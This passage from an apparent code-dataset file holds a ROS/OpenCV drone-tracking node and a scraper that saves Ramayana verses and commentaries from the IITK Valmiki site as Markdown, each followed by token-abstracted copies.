/ 480\n drone.box.w = w * 100 / 640\n drone.box.h = h * 100 / 480\n msg.drones.append(drone)\n pub.publish(msg)\n\n\nif __name__ == '__main__':\n rospy.init_node('gazeboTracking', anonymous=True)\n rospy.Subscriber('camera_img', Image, processFrame)\n pub = rospy.Publisher('fixed_drones', DroneArray, queue_size=10)\n rospy.spin()\n", "<import token>\npub = None\n\n\ndef processFrame(image_message):\n frame = CvBridge().imgmsg_to_cv2(image_message)\n frame_hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(frame_hsv, (0, 0, 0, 0), (180, 255, 30, 0))\n mask = cv2.dilate(mask, None, iterations=1)\n cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)[-2]\n center = None\n c = max(cnts, key=cv2.contourArea)\n x, y, w, h = cv2.boundingRect(c)\n msg = DroneArray()\n drone = Drone()\n drone.id = -1\n drone.name = 'parrot_bebop2'\n drone.box.t.linear.x = x * 100 / 640\n drone.box.t.linear.y = y * 100 / 480\n drone.box.w = w * 100 / 640\n drone.box.h = h * 100 / 480\n msg.drones.append(drone)\n pub.publish(msg)\n\n\nif __name__ == '__main__':\n rospy.init_node('gazeboTracking', anonymous=True)\n rospy.Subscriber('camera_img', Image, processFrame)\n pub = rospy.Publisher('fixed_drones', DroneArray, queue_size=10)\n rospy.spin()\n", "<import token>\n<assignment token>\n\n\ndef processFrame(image_message):\n frame = CvBridge().imgmsg_to_cv2(image_message)\n frame_hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(frame_hsv, (0, 0, 0, 0), (180, 255, 30, 0))\n mask = cv2.dilate(mask, None, iterations=1)\n cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)[-2]\n center = None\n c = max(cnts, key=cv2.contourArea)\n x, y, w, h = cv2.boundingRect(c)\n msg = DroneArray()\n drone = Drone()\n drone.id = -1\n drone.name = 'parrot_bebop2'\n drone.box.t.linear.x = x * 100 / 640\n drone.box.t.linear.y = y * 100 / 480\n drone.box.w = w * 100 / 640\n drone.box.h = h * 100 / 480\n msg.drones.append(drone)\n pub.publish(msg)\n\n\nif __name__ == '__main__':\n rospy.init_node('gazeboTracking', anonymous=True)\n rospy.Subscriber('camera_img', Image, processFrame)\n pub = rospy.Publisher('fixed_drones', DroneArray, queue_size=10)\n rospy.spin()\n", "<import token>\n<assignment token>\n\n\ndef processFrame(image_message):\n frame = CvBridge().imgmsg_to_cv2(image_message)\n frame_hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(frame_hsv, (0, 0, 0, 0), (180, 255, 30, 0))\n mask = cv2.dilate(mask, None, iterations=1)\n cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)[-2]\n center = None\n c = max(cnts, key=cv2.contourArea)\n x, y, w, h = cv2.boundingRect(c)\n msg = DroneArray()\n drone = Drone()\n drone.id = -1\n drone.name = 'parrot_bebop2'\n drone.box.t.linear.x = x * 100 / 640\n drone.box.t.linear.y = y * 100 / 480\n drone.box.w = w * 100 / 640\n drone.box.h = h * 100 / 480\n msg.drones.append(drone)\n pub.publish(msg)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<code token>\n" ]
false
463
f3a63a22f8746d4a1f127bfe9e8c9d822109ab3c
import logging import os import textwrap from urllib.request import urlopen from bs4 import BeautifulSoup from tqdm import tqdm from doc_curation import book_data from doc_curation.md import get_md_with_pandoc from doc_curation.md.file import MdFile from doc_curation.scraping.misc_sites import iitk from doc_curation.scraping.html_scraper import souper from indic_transliteration import sanscript # Remove all handlers associated with the root logger object. for handler in logging.root.handlers[:]: logging.root.removeHandler(handler) logging.basicConfig( level=logging.DEBUG, format="%(levelname)s:%(asctime)s:%(module)s:%(lineno)d %(message)s") unit_info_file = os.path.join(os.path.dirname(book_data.__file__), "data/book_data/raamaayanam/andhra.json") def dump_sarga(url, out_path, sarga_id, dry_run=False): # browser.implicitly_wait(2) page_html = urlopen(url) soup = BeautifulSoup(page_html.read(), 'lxml') shloka_tags = soup.select(".views-row") sarga_content = "" for (index, shloka_tag) in enumerate(tqdm(shloka_tags)): fields = shloka_tag.select(".field-content") if index == 0: sarga_summary = fields[0].contents[0].replace("[", "").replace("]", "") shloka = souper.get_md_paragraph(fields[0].contents[1:]) sarga_content = get_md_with_pandoc(content_in=sarga_summary, source_format="html") else: shloka = souper.get_md_paragraph(fields[0].contents) shloka = shloka.replace(":", "ः") word_meaning = souper.get_md_paragraph(fields[1].contents).replace(":", "ः") shloka_meaning = souper.get_md_paragraph(fields[2].contents) content = textwrap.dedent(""" ## श्लोकः ### मूलम् %s ### शब्दार्थः %s ### आङ्ग्लानुवादः %s """) % (shloka, word_meaning, shloka_meaning) sarga_content = "%s\n\n%s" % (sarga_content, content) md_file = MdFile(file_path=out_path) sarga_content = sarga_content.replace(":", "ः").replace("इत्यार्षे", "\n## समाप्तिः\n") md_file.dump_to_file(metadata={"title": "%03d" % sarga_id}, content=sarga_content, dry_run=dry_run) def dump_all_sargas(base_dir): for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[]): if kaanda_index >= 6: continue sarga_list = book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[kaanda_index]) for sarga_index in sarga_list: logging.info("Kanda %d Sarga %d", kaanda_index, sarga_index) out_path = os.path.join(base_dir, "%d" % kaanda_index, "%03d.md" % sarga_index) url = "https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d" % ( kaanda_index, sarga_index) dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index) def dump_all_sargas(base_dir): for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[]): if kaanda_index >= 6: continue sarga_list = book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[kaanda_index]) for sarga_index in sarga_list: logging.info("Kanda %d Sarga %d", kaanda_index, sarga_index) out_path = os.path.join(base_dir, "%d" % kaanda_index, "%03d.md" % sarga_index) url = "https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d" % ( kaanda_index, sarga_index) dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index) def dump_commentary(base_dir, commentary_id): for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[]): if kaanda_index >= 6: continue sarga_list = book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[kaanda_index]) for sarga_index in sarga_list: logging.info("Kanda %d Sarga %d", kaanda_index, sarga_index) out_path = os.path.join(base_dir, "%d" % kaanda_index, "%03d.md" % sarga_index) url = "https://www.valmiki.iitk.ac.in/commentaries?language=dv&field_commnetary_tid=%d&field_kanda_tid=%d&field_sarga_value=%d" % ( commentary_id, kaanda_index, sarga_index) title_maker = lambda soup, title_prefix: sanscript.transliterate("%03d" % sarga_index, sanscript.IAST, sanscript.DEVANAGARI) iitk.dump_item(item_url=url, outfile_path=out_path, title_maker=title_maker) if __name__ == '__main__': pass # dump_all_sargas(base_dir="/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/Andhra-pAThaH_iitk/") # aandhra.fix_title_names(base_dir="/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/kumbhakona", base_dir_ref="/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/goraxapuram/VR_with_errors", dry_run=False) # dump_commentary(base_dir="/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/TIkA/bhUShaNa_iitk/", commentary_id=14) # dump_commentary(base_dir="/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/TIkA/shiromaNI_iitk/", commentary_id=10) # dump_commentary(base_dir="/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/TIkA/tilaka_iitk/", commentary_id=13)
[ "import logging\nimport os\nimport textwrap\nfrom urllib.request import urlopen\n\nfrom bs4 import BeautifulSoup\nfrom tqdm import tqdm\n\nfrom doc_curation import book_data\nfrom doc_curation.md import get_md_with_pandoc\nfrom doc_curation.md.file import MdFile\nfrom doc_curation.scraping.misc_sites import iitk\nfrom doc_curation.scraping.html_scraper import souper\nfrom indic_transliteration import sanscript\n\n# Remove all handlers associated with the root logger object.\nfor handler in logging.root.handlers[:]:\n logging.root.removeHandler(handler)\nlogging.basicConfig(\n level=logging.DEBUG,\n format=\"%(levelname)s:%(asctime)s:%(module)s:%(lineno)d %(message)s\")\n\nunit_info_file = os.path.join(os.path.dirname(book_data.__file__), \"data/book_data/raamaayanam/andhra.json\")\n\n\ndef dump_sarga(url, out_path, sarga_id, dry_run=False):\n # browser.implicitly_wait(2)\n page_html = urlopen(url)\n soup = BeautifulSoup(page_html.read(), 'lxml')\n shloka_tags = soup.select(\".views-row\")\n sarga_content = \"\"\n for (index, shloka_tag) in enumerate(tqdm(shloka_tags)):\n fields = shloka_tag.select(\".field-content\")\n if index == 0:\n sarga_summary = fields[0].contents[0].replace(\"[\", \"\").replace(\"]\", \"\")\n shloka = souper.get_md_paragraph(fields[0].contents[1:])\n sarga_content = get_md_with_pandoc(content_in=sarga_summary, source_format=\"html\")\n else:\n shloka = souper.get_md_paragraph(fields[0].contents)\n shloka = shloka.replace(\":\", \"ः\")\n word_meaning = souper.get_md_paragraph(fields[1].contents).replace(\":\", \"ः\")\n shloka_meaning = souper.get_md_paragraph(fields[2].contents)\n content = textwrap.dedent(\"\"\"\n ## श्लोकः\n ### मूलम्\n %s\n \n ### शब्दार्थः\n %s\n \n ### आङ्ग्लानुवादः\n %s\n \"\"\") % (shloka, word_meaning, shloka_meaning)\n sarga_content = \"%s\\n\\n%s\" % (sarga_content, content)\n md_file = MdFile(file_path=out_path)\n sarga_content = sarga_content.replace(\":\", \"ः\").replace(\"इत्यार्षे\", \"\\n## समाप्तिः\\n\")\n md_file.dump_to_file(metadata={\"title\": \"%03d\" % sarga_id}, content=sarga_content, dry_run=dry_run)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info(\"Kanda %d Sarga %d\", kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, \"%d\" % kaanda_index, \"%03d.md\" % sarga_index)\n url = \"https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d\" % (\n kaanda_index, sarga_index)\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info(\"Kanda %d Sarga %d\", kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, \"%d\" % kaanda_index, \"%03d.md\" % sarga_index)\n url = \"https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d\" % (\n kaanda_index, sarga_index)\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\ndef dump_commentary(base_dir, commentary_id):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file, unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info(\"Kanda %d Sarga %d\", kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, \"%d\" % kaanda_index, \"%03d.md\" % sarga_index)\n url = \"https://www.valmiki.iitk.ac.in/commentaries?language=dv&field_commnetary_tid=%d&field_kanda_tid=%d&field_sarga_value=%d\" % (\n commentary_id, kaanda_index, sarga_index)\n title_maker = lambda soup, title_prefix: sanscript.transliterate(\"%03d\" % sarga_index, sanscript.IAST,\n sanscript.DEVANAGARI)\n iitk.dump_item(item_url=url, outfile_path=out_path, title_maker=title_maker)\n\n\nif __name__ == '__main__':\n pass\n # dump_all_sargas(base_dir=\"/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/Andhra-pAThaH_iitk/\")\n # aandhra.fix_title_names(base_dir=\"/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/kumbhakona\", base_dir_ref=\"/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/goraxapuram/VR_with_errors\", dry_run=False)\n # dump_commentary(base_dir=\"/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/TIkA/bhUShaNa_iitk/\", commentary_id=14)\n # dump_commentary(base_dir=\"/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/TIkA/shiromaNI_iitk/\", commentary_id=10)\n # dump_commentary(base_dir=\"/home/vvasuki/sanskrit/raw_etexts/purANam/rAmAyaNam/TIkA/tilaka_iitk/\", commentary_id=13)\n", "import logging\nimport os\nimport textwrap\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nfrom tqdm import tqdm\nfrom doc_curation import book_data\nfrom doc_curation.md import get_md_with_pandoc\nfrom doc_curation.md.file import MdFile\nfrom doc_curation.scraping.misc_sites import iitk\nfrom doc_curation.scraping.html_scraper import souper\nfrom indic_transliteration import sanscript\nfor handler in logging.root.handlers[:]:\n logging.root.removeHandler(handler)\nlogging.basicConfig(level=logging.DEBUG, format=\n '%(levelname)s:%(asctime)s:%(module)s:%(lineno)d %(message)s')\nunit_info_file = os.path.join(os.path.dirname(book_data.__file__),\n 'data/book_data/raamaayanam/andhra.json')\n\n\ndef dump_sarga(url, out_path, sarga_id, dry_run=False):\n page_html = urlopen(url)\n soup = BeautifulSoup(page_html.read(), 'lxml')\n shloka_tags = soup.select('.views-row')\n sarga_content = ''\n for index, shloka_tag in enumerate(tqdm(shloka_tags)):\n fields = shloka_tag.select('.field-content')\n if index == 0:\n sarga_summary = fields[0].contents[0].replace('[', '').replace(']',\n '')\n shloka = souper.get_md_paragraph(fields[0].contents[1:])\n sarga_content = get_md_with_pandoc(content_in=sarga_summary,\n source_format='html')\n else:\n shloka = souper.get_md_paragraph(fields[0].contents)\n shloka = shloka.replace(':', 'ः')\n word_meaning = souper.get_md_paragraph(fields[1].contents).replace(':',\n 'ः')\n shloka_meaning = souper.get_md_paragraph(fields[2].contents)\n content = textwrap.dedent(\n \"\"\"\n ## श्लोकः\n ### मूलम्\n %s\n \n ### शब्दार्थः\n %s\n \n ### आङ्ग्लानुवादः\n %s\n \"\"\"\n ) % (shloka, word_meaning, shloka_meaning)\n sarga_content = '%s\\n\\n%s' % (sarga_content, content)\n md_file = MdFile(file_path=out_path)\n sarga_content = sarga_content.replace(':', 'ः').replace('इत्यार्षे',\n '\\n## समाप्तिः\\n')\n md_file.dump_to_file(metadata={'title': '%03d' % sarga_id}, content=\n sarga_content, dry_run=dry_run)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\ndef dump_commentary(base_dir, commentary_id):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/commentaries?language=dv&field_commnetary_tid=%d&field_kanda_tid=%d&field_sarga_value=%d'\n % (commentary_id, kaanda_index, sarga_index))\n title_maker = lambda soup, title_prefix: sanscript.transliterate(\n '%03d' % sarga_index, sanscript.IAST, sanscript.DEVANAGARI)\n iitk.dump_item(item_url=url, outfile_path=out_path, title_maker\n =title_maker)\n\n\nif __name__ == '__main__':\n pass\n", "<import token>\nfor handler in logging.root.handlers[:]:\n logging.root.removeHandler(handler)\nlogging.basicConfig(level=logging.DEBUG, format=\n '%(levelname)s:%(asctime)s:%(module)s:%(lineno)d %(message)s')\nunit_info_file = os.path.join(os.path.dirname(book_data.__file__),\n 'data/book_data/raamaayanam/andhra.json')\n\n\ndef dump_sarga(url, out_path, sarga_id, dry_run=False):\n page_html = urlopen(url)\n soup = BeautifulSoup(page_html.read(), 'lxml')\n shloka_tags = soup.select('.views-row')\n sarga_content = ''\n for index, shloka_tag in enumerate(tqdm(shloka_tags)):\n fields = shloka_tag.select('.field-content')\n if index == 0:\n sarga_summary = fields[0].contents[0].replace('[', '').replace(']',\n '')\n shloka = souper.get_md_paragraph(fields[0].contents[1:])\n sarga_content = get_md_with_pandoc(content_in=sarga_summary,\n source_format='html')\n else:\n shloka = souper.get_md_paragraph(fields[0].contents)\n shloka = shloka.replace(':', 'ः')\n word_meaning = souper.get_md_paragraph(fields[1].contents).replace(':',\n 'ः')\n shloka_meaning = souper.get_md_paragraph(fields[2].contents)\n content = textwrap.dedent(\n \"\"\"\n ## श्लोकः\n ### मूलम्\n %s\n \n ### शब्दार्थः\n %s\n \n ### आङ्ग्लानुवादः\n %s\n \"\"\"\n ) % (shloka, word_meaning, shloka_meaning)\n sarga_content = '%s\\n\\n%s' % (sarga_content, content)\n md_file = MdFile(file_path=out_path)\n sarga_content = sarga_content.replace(':', 'ः').replace('इत्यार्षे',\n '\\n## समाप्तिः\\n')\n md_file.dump_to_file(metadata={'title': '%03d' % sarga_id}, content=\n sarga_content, dry_run=dry_run)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\ndef dump_commentary(base_dir, commentary_id):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/commentaries?language=dv&field_commnetary_tid=%d&field_kanda_tid=%d&field_sarga_value=%d'\n % (commentary_id, kaanda_index, sarga_index))\n title_maker = lambda soup, title_prefix: sanscript.transliterate(\n '%03d' % sarga_index, sanscript.IAST, sanscript.DEVANAGARI)\n iitk.dump_item(item_url=url, outfile_path=out_path, title_maker\n =title_maker)\n\n\nif __name__ == '__main__':\n pass\n", "<import token>\nfor handler in logging.root.handlers[:]:\n logging.root.removeHandler(handler)\nlogging.basicConfig(level=logging.DEBUG, format=\n '%(levelname)s:%(asctime)s:%(module)s:%(lineno)d %(message)s')\n<assignment token>\n\n\ndef dump_sarga(url, out_path, sarga_id, dry_run=False):\n page_html = urlopen(url)\n soup = BeautifulSoup(page_html.read(), 'lxml')\n shloka_tags = soup.select('.views-row')\n sarga_content = ''\n for index, shloka_tag in enumerate(tqdm(shloka_tags)):\n fields = shloka_tag.select('.field-content')\n if index == 0:\n sarga_summary = fields[0].contents[0].replace('[', '').replace(']',\n '')\n shloka = souper.get_md_paragraph(fields[0].contents[1:])\n sarga_content = get_md_with_pandoc(content_in=sarga_summary,\n source_format='html')\n else:\n shloka = souper.get_md_paragraph(fields[0].contents)\n shloka = shloka.replace(':', 'ः')\n word_meaning = souper.get_md_paragraph(fields[1].contents).replace(':',\n 'ः')\n shloka_meaning = souper.get_md_paragraph(fields[2].contents)\n content = textwrap.dedent(\n \"\"\"\n ## श्लोकः\n ### मूलम्\n %s\n \n ### शब्दार्थः\n %s\n \n ### आङ्ग्लानुवादः\n %s\n \"\"\"\n ) % (shloka, word_meaning, shloka_meaning)\n sarga_content = '%s\\n\\n%s' % (sarga_content, content)\n md_file = MdFile(file_path=out_path)\n sarga_content = sarga_content.replace(':', 'ः').replace('इत्यार्षे',\n '\\n## समाप्तिः\\n')\n md_file.dump_to_file(metadata={'title': '%03d' % sarga_id}, content=\n sarga_content, dry_run=dry_run)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\ndef dump_commentary(base_dir, commentary_id):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/commentaries?language=dv&field_commnetary_tid=%d&field_kanda_tid=%d&field_sarga_value=%d'\n % (commentary_id, kaanda_index, sarga_index))\n title_maker = lambda soup, title_prefix: sanscript.transliterate(\n '%03d' % sarga_index, sanscript.IAST, sanscript.DEVANAGARI)\n iitk.dump_item(item_url=url, outfile_path=out_path, title_maker\n =title_maker)\n\n\nif __name__ == '__main__':\n pass\n", "<import token>\n<code token>\n<assignment token>\n\n\ndef dump_sarga(url, out_path, sarga_id, dry_run=False):\n page_html = urlopen(url)\n soup = BeautifulSoup(page_html.read(), 'lxml')\n shloka_tags = soup.select('.views-row')\n sarga_content = ''\n for index, shloka_tag in enumerate(tqdm(shloka_tags)):\n fields = shloka_tag.select('.field-content')\n if index == 0:\n sarga_summary = fields[0].contents[0].replace('[', '').replace(']',\n '')\n shloka = souper.get_md_paragraph(fields[0].contents[1:])\n sarga_content = get_md_with_pandoc(content_in=sarga_summary,\n source_format='html')\n else:\n shloka = souper.get_md_paragraph(fields[0].contents)\n shloka = shloka.replace(':', 'ः')\n word_meaning = souper.get_md_paragraph(fields[1].contents).replace(':',\n 'ः')\n shloka_meaning = souper.get_md_paragraph(fields[2].contents)\n content = textwrap.dedent(\n \"\"\"\n ## श्लोकः\n ### मूलम्\n %s\n \n ### शब्दार्थः\n %s\n \n ### आङ्ग्लानुवादः\n %s\n \"\"\"\n ) % (shloka, word_meaning, shloka_meaning)\n sarga_content = '%s\\n\\n%s' % (sarga_content, content)\n md_file = MdFile(file_path=out_path)\n sarga_content = sarga_content.replace(':', 'ः').replace('इत्यार्षे',\n '\\n## समाप्तिः\\n')\n md_file.dump_to_file(metadata={'title': '%03d' % sarga_id}, content=\n sarga_content, dry_run=dry_run)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\ndef dump_all_sargas(base_dir):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/sloka?field_kanda_tid=%d&language=dv&field_sarga_value=%d'\n % (kaanda_index, sarga_index))\n dump_sarga(url=url, out_path=out_path, sarga_id=sarga_index)\n\n\ndef dump_commentary(base_dir, commentary_id):\n for kaanda_index in book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[]):\n if kaanda_index >= 6:\n continue\n sarga_list = book_data.get_subunit_list(file_path=unit_info_file,\n unit_path_list=[kaanda_index])\n for sarga_index in sarga_list:\n logging.info('Kanda %d Sarga %d', kaanda_index, sarga_index)\n out_path = os.path.join(base_dir, '%d' % kaanda_index, \n '%03d.md' % sarga_index)\n url = (\n 'https://www.valmiki.iitk.ac.in/commentaries?language=dv&field_commnetary_tid=%d&field_kanda_tid=%d&field_sarga_value=%d'\n % (commentary_id, kaanda_index, sarga_index))\n title_maker = lambda soup, title_prefix: sanscript.transliterate(\n '%03d' % sarga_index, sanscript.IAST, sanscript.DEVANAGARI)\n iitk.dump_item(item_url=url, outfile_path=out_path, title_maker\n =title_maker)\n\n\n<code token>\n", "<import token>\n<code token>\n<assignment token>\n\n\ndef dump_sarga(url, out_path, sarga_id, dry_run=False):\n page_html = urlopen(url)\n soup = BeautifulSoup(page_html.read(), 'lxml')\n shloka_tags = soup.select('.views-row')\n sarga_content = ''\n for index, shloka_tag in enumerate(tqdm(shloka_tags)):\n fields = shloka_tag.select('.field-content')\n if index == 0:\n sarga_summary = fields[0].contents[0].replace('[', '').replace(']',\n '')\n shloka = souper.get_md_paragraph(fields[0].contents[1:])\n sarga_content = get_md_with_pandoc(content_in=sarga_summary,\n source_format='html')\n else:\n shloka = souper.get_md_paragraph(fields[0].contents)\n shloka = shloka.replace(':', 'ः')\n word_meaning = souper.get_md_paragraph(fields[1].contents).replace(':',\n 'ः')\n shloka_meaning = souper.get_md_paragraph(fields[2].contents)\n content = textwrap.dedent(\n \"\"\"\n ## श्लोकः\n ### मूलम्\n %s\n \n ### शब्दार्थः\n %s\n \n ### आङ्ग्लानुवादः\n %s\n \"\"\"\n ) % (shloka, word_meaning, shloka_meaning)\n sarga_content = '%s\\n\\n%s' % (sarga_content, content)\n md_file = MdFile(file_path=out_path)\n sarga_content = sarga_content.replace(':', 'ः').replace('इत्यार्षे',\n 